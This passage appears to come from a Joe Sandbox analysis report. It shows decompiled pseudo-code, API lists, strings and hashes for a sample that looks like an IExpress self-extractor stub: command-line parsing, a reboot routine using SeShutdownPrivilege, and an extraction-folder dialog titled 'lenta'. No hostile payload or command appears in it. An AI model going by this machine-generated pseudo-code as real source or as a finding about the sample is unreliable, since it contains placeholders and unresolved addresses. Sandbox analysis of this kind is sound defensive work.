																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0xf88a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0xf89a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0xf89a2c =  *0xf89a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0xf88d48 =  *0xf88d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0xf89a2c =  *0xf89a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0xf89a2c =  *0xf89a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0xf88d48 =  *0xf88d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0xf89a2c =  *0xf89a2c | 0x00000004;
																										L70:
																										 *0xf88a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0xf89a2c = 3;
																	 *0xf88a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0xf88a2c != 0 &&  *0xf88b3e == 0) {
						if(GetModuleFileNameA( *0xf89a3c, 0xf88b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E00F866C8(0xf88b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00f85c9e
0x00f85ca9
0x00f85cb0
0x00f85cb3
0x00f85cb6
0x00f85cb7
0x00f85cb8
0x00f85cbd
0x00f86204
0x00f85ccb
0x00000000
0x00f85ccb
0x00f85cd3
0x00f85cd7
0x00f85cf4
0x00000000
0x00f85cf4
0x00f85cf8
0x00f85d00
0x00000000
0x00f85d06
0x00f85d06
0x00f85d0e
0x00f85d10
0x00f85d12
0x00f85d14
0x00f85d15
0x00f85d17
0x00f85d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00f85d19
0x00f85d19
0x00f85d1d
0x00000000
0x00f85d3f
0x00f85d3f
0x00f85d4b
0x00f85d4b
0x00f85d4f
0x00f85d8d
0x00000000
0x00f85d93
0x00f85d93
0x00f85d9a
0x00f85d9d
0x00f85d9e
0x00000000
0x00f85d9e
0x00f85d51
0x00f85d5b
0x00f85d72
0x00f860fb
0x00f860fb
0x00f86207
0x00f8620a
0x00f8620b
0x00f8620e
0x00f86217
0x00f85d78
0x00f85d78
0x00f85d80
0x00f85d83
0x00f85d84
0x00000000
0x00f85d84
0x00f85d5d
0x00f85d5f
0x00f85d62
0x00f85d68
0x00f85d64
0x00f85d64
0x00f85d64
0x00000000
0x00f85d62
0x00f85d5b
0x00f85d4f
0x00f85d1d
0x00000000
0x00f85d9f
0x00f85d9f
0x00f85da5
0x00f85dab
0x00f85dba
0x00f86218
0x00f8621d
0x00f86220
0x00f86221
0x00f86229
0x00f86230
0x00f86247
0x00f8626a
0x00f86272
0x00f86249
0x00f86255
0x00f8625f
0x00f86264
0x00f86264
0x00f86284
0x00f85dc0
0x00f85dc0
0x00f85dca
0x00f85e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00f85dcc
0x00f85dce
0x00f85e24
0x00f85e24
0x00f85e2c
0x00f85e47
0x00f85e4a
0x00f861d2
0x00f861e2
0x00f861e7
0x00f861ee
0x00f861f1
0x00f861f1
0x00f861f8
0x00f861f8
0x00f85e50
0x00f85e53
0x00f86109
0x00f8611f
0x00000000
0x00f86125
0x00f86137
0x00f8613a
0x00f8613c
0x00f8613e
0x00f8613e
0x00f86141
0x00f86141
0x00f86143
0x00f86144
0x00f8614a
0x00000000
0x00f86150
0x00f86152
0x00f8615c
0x00f86170
0x00f86172
0x00f8617c
0x00f86190
0x00f86190
0x00f86196
0x00f861a5
0x00000000
0x00f861ab
0x00f861b9
0x00f861c6
0x00f861c6
0x00f8617e
0x00f86180
0x00f8618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8618a
0x00f8615e
0x00f86160
0x00f8616a
0x00000000
0x00000000
0x00000000
0x00000000
0x00f8616a
0x00f8615c
0x00f8614a
0x00f8610b
0x00f8610e
0x00f8610e
0x00000000
0x00f85e59
0x00f85e59
0x00f85e5c
0x00f8604f
0x00f86056
0x00000000
0x00f8605c
0x00f8606e
0x00f86071
0x00f86073
0x00f86075
0x00f86075
0x00f86078
0x00f86078
0x00f8607a
0x00f8607b
0x00f86081
0x00000000
0x00f86087
0x00f86087
0x00f8608d
0x00f8609c
0x00000000
0x00f860a2
0x00f860aa
0x00f860b2
0x00f860b7
0x00f860bd
0x00f860bf
0x00f860bf
0x00f860d6
0x00f860e0
0x00f860e7
0x00f860f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00f860f5
0x00f8609c
0x00f86081
0x00f85e62
0x00f85e62
0x00f85e65
0x00f85fd3
0x00f85fe9
0x00000000
0x00f85fef
0x00f85fef
0x00f85ff7
0x00f85ffd
0x00f86003
0x00f86006
0x00f86011
0x00f86014
0x00f8603d
0x00f86016
0x00f86018
0x00f86019
0x00f8601b
0x00f86033
0x00f8601d
0x00f86020
0x00f86029
0x00f86022
0x00f86022
0x00f86022
0x00f86020
0x00f8601b
0x00f86042
0x00f86044
0x00f86046
0x00f8604a
0x00f85ff7
0x00f85fd5
0x00f85fd8
0x00f85fd8
0x00000000
0x00f85e6b
0x00f85e6b
0x00f85e6e
0x00f85f8b
0x00f85f99
0x00000000
0x00f85f9f
0x00f85fa7
0x00f85faf
0x00000000
0x00f85fb1
0x00f85fb3
0x00000000
0x00f85fb5
0x00f85fb7
0x00000000
0x00f85fb9
0x00000000
0x00f85fb9
0x00f85fb7
0x00f85fb3
0x00f85faf
0x00f85f8d
0x00f85f8d
0x00f85f8d
0x00f85f8f
0x00f85fc1
0x00f85fc1
0x00f85fc1
0x00000000
0x00f85e74
0x00f85e74
0x00f85e77
0x00f85ea0
0x00f85ebd
0x00f85f79
0x00000000
0x00f85f7f
0x00f85ec3
0x00f85ec3
0x00f85ecc
0x00f85ed4
0x00f85ed6
0x00f85edc
0x00f85edf
0x00f85eea
0x00f85eed
0x00f85f3f
0x00f85f40
0x00000000
0x00f85eef
0x00f85eef
0x00f85ef2
0x00f85f34
0x00f85ef4
0x00f85ef4
0x00f85ef7
0x00f85f2b
0x00000000
0x00f85ef9
0x00f85ef9
0x00f85efc
0x00f85f22
0x00000000
0x00f85efe
0x00f85eff
0x00f85f02
0x00f85f16
0x00f85f04
0x00f85f07
0x00f85f0d
0x00f85f46
0x00f85f46
0x00f85f09
0x00f85f09
0x00f85f09
0x00f85f07
0x00f85f02
0x00f85efc
0x00f85ef7
0x00f85ef2
0x00f85f4c
0x00f85f4e
0x00f85f50
0x00f85f54
0x00f85ed4
0x00f85ea2
0x00f85ea4
0x00f85eaf
0x00f85eaf
0x00000000
0x00f85e79
0x00f85e7d
0x00000000
0x00f85e83
0x00f85e83
0x00f85e83
0x00f85e85
0x00f85e85
0x00f85e8e
0x00000000
0x00f85e94
0x00000000
0x00f85e94
0x00f85e8e
0x00f85e7d
0x00f85e77
0x00f85e6e
0x00f85e65
0x00f85e5c
0x00000000
0x00000000
0x00000000
0x00f85dd0
0x00f85dd0
0x00f85dd0
0x00000000
0x00f85dd0
0x00f85dce
0x00f85dca
0x00f85dba
0x00000000
0x00f85d00
0x00f85dd9
0x00f85e04
0x00f861fe
0x00f85e0a
0x00f85e0c
0x00f85e17
0x00f85e17
0x00f85e04
0x00f86200
0x00f86200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00F85CEE
GetModuleFileNameA.KERNEL32(00F88B3E,00000104,00000000,?,?), ref: 00F85DFC
CharUpperA.USER32(?), ref: 00F85E3E
CharUpperA.USER32(-00000052), ref: 00F85EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00F85F6F
CharUpperA.USER32(?), ref: 00F85FA7
CharUpperA.USER32(-0000004E), ref: 00F86008
CharUpperA.USER32(?), ref: 00F860AA
CloseHandle.KERNEL32(00000000,00F81140,00000000,00000040,00000000), ref: 00F861F1
ExitProcess.KERNEL32 ref: 00F861F8

Strings

", xrefs: 00F85D78
", xrefs: 00F8612D
RegServer, xrefs: 00F85F66
:, xrefs: 00F86118

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: e244199a395362455e24472f07b387b4f8f61a68e40eda09ad8a11c5431458f5
Instruction ID: 4be49d7b08efaafca0050c4b00601d8dd3bff84834d3d27bd47d0278601c40ec
Opcode Fuzzy Hash: e244199a395362455e24472f07b387b4f8f61a68e40eda09ad8a11c5431458f5
Instruction Fuzzy Hash: ABD17D72E08A585FDF35BB388C4C3F53BA1AB16B64F5401EAC486DA191D7748E86BF01

Uniqueness

Uniqueness Score: -1.00%

Function 00F81F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00F81F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0xf89a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0xf88004; // 0x644c7055
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E00F844B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00F86CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E00F844B9(0, 0x522, 0xf81140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00F81EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00f81f90
0x00f81f90
0x00f81f93
0x00f81f98
0x00f81fa4
0x00f81fa7
0x00f81fc5
0x00f81fcd
0x00f81fdb
0x00f81ee5
0x00f81eea
0x00f81ef1
0x00f81ef4
0x00f81f0c
0x00f81f2e
0x00f81f3a
0x00f81f46
0x00f81f4d
0x00f81f58
0x00f81f60
0x00f81f61
0x00f81f62
0x00f81f75
0x00f81f80
0x00f81f77
0x00f81f77
0x00000000
0x00f81f77
0x00f81f64
0x00f81f64
0x00000000
0x00f81f64
0x00f81f0e
0x00f81f0e
0x00f81f13
0x00f81f13
0x00f81f14
0x00f81f14
0x00f81f16
0x00f81f17
0x00f81f1a
0x00f81f1f
0x00f81f1f
0x00f81f86
0x00f81f8f
0x00f81fcf
0x00f81fd3
0x00000000
0x00f81fd3
0x00f81fa9
0x00f81fb4
0x00f81fbb
0x00f81fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00f81fc3
0x00f81f9a
0x00f81f9a
0x00f81fa2
0x00f81fd9
0x00f81fda
0x00000000
0x00000000
0x00000000
0x00f81fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00F81EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00F81F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00F81FD3

Strings

SeShutdownPrivilege, xrefs: 00F81F28

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: e6159ec9afa2ad91e34393e62bef4f1d0f91b9fbf7731077404ebe208f17e4ab
Instruction ID: 863b8c94d020b1e36eb1bf2d852f6b3e2791c4a04108dd37feb749b97ee84a52
Opcode Fuzzy Hash: e6159ec9afa2ad91e34393e62bef4f1d0f91b9fbf7731077404ebe208f17e4ab
Instruction Fuzzy Hash: 7A218871F402096AEB207BA19C4EFFB76BCFB85B61F100219FB06D6181D7798842B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F86CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F86CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00f86cf7
0x00f86d00
0x00f86d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00F86E26,00F81000), ref: 00F86CF7
UnhandledExceptionFilter.KERNEL32(00F86E26,?,00F86E26,00F81000), ref: 00F86D00
GetCurrentProcess.KERNEL32(C0000409,?,00F86E26,00F81000), ref: 00F86D0B
TerminateProcess.KERNEL32(00000000,?,00F86E26,00F81000), ref: 00F86D12

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 7cbcf4c16f1644d61c82686fedde776e0d3b72fd0fe9b38cdd1c8ebd92896626
Instruction ID: bb9024d3069dc1ac8d5d4addee58cdd0ef5b690df018dd5a5755c719aaf9839b
Opcode Fuzzy Hash: 7cbcf4c16f1644d61c82686fedde776e0d3b72fd0fe9b38cdd1c8ebd92896626
Instruction Fuzzy Hash: 96D0C93200090CBBFB002BE1EC0CAA93F28EB48616F484002F31982021CA364451AF52

Uniqueness

Uniqueness Score: -1.00%

Function 00F83210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00F83210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E00F843D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "lenta");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0xf89a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0xf891e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E00F844B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0xf891e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0xf891e5 - 3;
						if(_t49 - 0xf891e5 < 3) {
							goto L32;
						}
						_t24 =  *0xf891e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0xf891e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E00F8658A(0xf891e4, 0x104, 0xf81140);
								_t27 = E00F858C8(0xf891e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0xf891e4 - 0x5c;
									if( *0xf891e4 != 0x5c) {
										L30:
										_t30 = E00F8597D(0xf891e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0xf891e5 - 0x5c;
									if( *0xf891e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E00F844B9(_t64, 0x54a, 0xf891e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0xf891e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0xf891e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0xf891e4 - 0x5c;
						if( *0xf891e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0xf89124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0xf89a3c, 0x3e8, 0xf88598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00F84224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0xf887a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E00F844B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x00f8321b
0x00f8321e
0x00f83221
0x00f8343c
0x00f8343e
0x00f8343f
0x00f83445
0x00f83447
0x00000000
0x00f83447
0x00f83229
0x00f8322a
0x00f8322f
0x00f833ec
0x00f833f7
0x00f83410
0x00f83416
0x00f8341d
0x00f8342d
0x00f8342d
0x00f83438
0x00000000
0x00f83438
0x00f83237
0x00f83243
0x00f83243
0x00f83246
0x00f832ee
0x00f832f4
0x00f832f6
0x00f833d4
0x00f833d6
0x00f833db
0x00f833dc
0x00f833de
0x00f833df
0x00f83370
0x00f83372
0x00000000
0x00f83372
0x00f832fc
0x00f83301
0x00f83301
0x00f83303
0x00f83304
0x00f83304
0x00f8330a
0x00f8330d
0x00000000
0x00000000
0x00f83313
0x00f83318
0x00f8331a
0x00f83331
0x00f83332
0x00f8333a
0x00f8333d
0x00f8337c
0x00f83388
0x00f8338f
0x00f83394
0x00f83396
0x00f833a4
0x00f833ab
0x00f833b6
0x00f833be
0x00f833c3
0x00f833c5
0x00f83435
0x00f83437
0x00f83437
0x00000000
0x00f83437
0x00f833c7
0x00f833c9
0x00f833cc
0x00000000
0x00f833cc
0x00f833ad
0x00f833b4
0x00000000
0x00000000
0x00000000
0x00f833b4
0x00f83398
0x00f83399
0x00f8339b
0x00f8339c
0x00f8339d
0x00000000
0x00f8339d
0x00f8334c
0x00f83351
0x00f83354
0x00000000
0x00000000
0x00f8335c
0x00f83362
0x00f83364
0x00000000
0x00000000
0x00f83366
0x00f83367
0x00f83369
0x00f8336a
0x00f8336b
0x00000000
0x00f8336b
0x00f8331c
0x00f83323
0x00000000
0x00000000
0x00f83329
0x00f8332b
0x00000000
0x00000000
0x00000000
0x00f8332b
0x00f8324c
0x00f8324c
0x00f8324f
0x00f832c8
0x00f832ce
0x00000000
0x00f832ce
0x00f83251
0x00f83256
0x00000000
0x00000000
0x00f83271
0x00f83277
0x00f83279
0x00f83298
0x00f8329d
0x00f8329f
0x00000000
0x00000000
0x00f832b0
0x00f832b6
0x00f832b8
0x00000000
0x00000000
0x00f832be
0x00f83280
0x00f83289
0x00f8328e
0x00000000
0x00f8328e
0x00f8327b
0x00000000
0x00f8327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00F88598,00000200), ref: 00F83271
GetDesktopWindow.USER32 ref: 00F833E2
SetWindowTextA.USER32(?,lenta), ref: 00F833F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00F83410
GetDlgItem.USER32(?,00000836), ref: 00F83426
EnableWindow.USER32(00000000), ref: 00F8342D
EndDialog.USER32(?,00000000), ref: 00F8343F

Strings

lenta, xrefs: 00F833F1
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F832E2, 00F832E7, 00F83331, 00F83344, 00F8335B, 00F8336A

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$lenta
API String ID: 2418873061-2207793050
Opcode ID: 474633e13c8ba78efb9db3d44d00790c13dd9ebf4df271fe02faed632663cca6
Instruction ID: 3f338fb9d91bad84f49565cd2430b08ce4a6c8a746bf08647728c35d10361278
Opcode Fuzzy Hash: 474633e13c8ba78efb9db3d44d00790c13dd9ebf4df271fe02faed632663cca6
Instruction Fuzzy Hash: 295146307452457BFB21BB359C8DFFB3A5DDB86F64F144029F646961E0CAB88A02B361

Uniqueness

Uniqueness Score: -1.00%

Function 00F82CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00F82CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0xf88004; // 0x644c7055
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0xf89a3c = __ecx;
				memset(0xf89140, 0, 0x8fc);
				memset(0xf88a20, 0, 0x32c);
				memset(0xf888c0, 0, 0x104);
				 *0xf893ec = 1;
				_t20 = E00F8468F("TITLE", 0xf89154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0xf8858c = _t27;
					SetEvent(_t27);
					_t64 = 0xf89a34;
					if(E00F8468F("EXTRACTOPT", 0xf89a34, 4) != 0) {
						if(( *0xf89a34 & 0x000000c0) == 0) {
							L12:
							 *0xf89120 =  *0xf89120 & _t65;
							if(E00F85C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0xf88a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0xf88184 != 0) {
										__imp__#17();
									}
									if( *0xf88a24 == 0) {
										_t57 = _t65;
										if(E00F836EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0xf89a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0xf89a34 & 0x00000100) == 0 || ( *0xf88a38 & 0x00000001) != 0 || E00F818A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00F86517(_t57, 0x7d6, _t34, E00F819E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00F82390(0xf88a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E00F844B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E00F8468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0xf88588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0xf89a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E00F844B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E00F844B9(0, 0x54b, "lenta", 0, 0x10, 0);
										L11:
										CloseHandle( *0xf88588);
										 *0xf89124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0xf89124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00F86CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00f82cb5
0x00f82cbc
0x00f82cc7
0x00f82cc9
0x00f82cd1
0x00f82cd3
0x00f82cd9
0x00f82ce9
0x00f82cf9
0x00f82d0e
0x00f82d15
0x00f82d1c
0x00f82ef3
0x00000000
0x00f82d2d
0x00f82d34
0x00f82d3b
0x00f82d40
0x00f82d48
0x00f82d59
0x00f82d84
0x00f82e1f
0x00f82e1f
0x00f82e2e
0x00f82e41
0x00f82e5a
0x00f82e62
0x00f82e6c
0x00f82e6c
0x00f82e75
0x00f82e77
0x00f82e77
0x00f82e84
0x00f82e8b
0x00f82e94
0x00000000
0x00f82e96
0x00f82e96
0x00f82e9e
0x00f82ea2
0x00f82eba
0x00000000
0x00f82ece
0x00f82ede
0x00f82eed
0x00000000
0x00000000
0x00000000
0x00000000
0x00f82eed
0x00f82eef
0x00f82eef
0x00f82eef
0x00f82eef
0x00f82ea2
